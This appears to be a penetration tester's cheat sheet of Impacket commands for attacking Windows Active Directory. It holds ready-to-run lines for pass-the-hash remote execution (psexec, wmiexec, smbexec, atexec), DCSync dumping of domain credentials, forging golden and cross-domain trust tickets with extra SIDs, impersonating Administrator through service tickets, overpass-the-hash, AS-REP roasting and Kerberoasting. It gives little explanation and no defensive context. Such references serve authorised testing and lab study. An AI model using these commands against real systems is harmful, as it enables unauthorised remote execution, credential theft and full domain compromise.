Impacket

Impacket is a collection of Python classes for working with network protocols.

Pass the hash

We can use impacket to pass a (NT:LM) hash to authenticate.

impacket-psexec -hashes :nt [e-mail] 

impacket-atexec -hashes :nt [e-mail] whoami

impacket-smbexec -hashes :nt [e-mail] 

impacket-wmiexec -hashes :nt [e-mail] 

Dcsync attack

If you have a password:

impacket-secretsdump corp.local/incendium:Password123@10.10.110.55

With a cached ticket:

impacket-secretsdump -k -no-pass [e-mail] -target-ip 192.168.210.10 -dc-ip 192.168.210.10

Generate tickets

To generate the TGS with NTLM

impacket-ticketer -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

Golden trust cross ticket (child-parent domains in forest)

└─$ impacket-ticketer -nthash <krbtgt-hash> -domain-sid S-1-5-21-3056178012-3972705859-382195122 -domain internal.zsm.local -extra-sid S-1-5-21-2734290894-461713716-382195122-519 -spn krbtgt/parent.local incendium

Service ticket

Impacket’s getST.py will request a Service Ticket and save it as ccache.

With credentials:

impacket-getST -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john:password123

With cached ticket:

impacket-getST -k -no-pass -spn cifs/DC-01.parent.local parent.local/[e-mail] -dc-ip 192.168.210.10

Overpass The Hash/Pass The Key (PTK)

// With NT hash
impacket-getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
// With credentials
impacket-getTGT.py <domain_name>/<user_name>:[password]

AS-REP roasting

impacket-GetNPUsers <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

Kerberoasting

impacket-GetUserSPNs -target-domain domain.local -usersfile users.txt -dc-ip dc01.domain.local domain.local/guest -
no-pass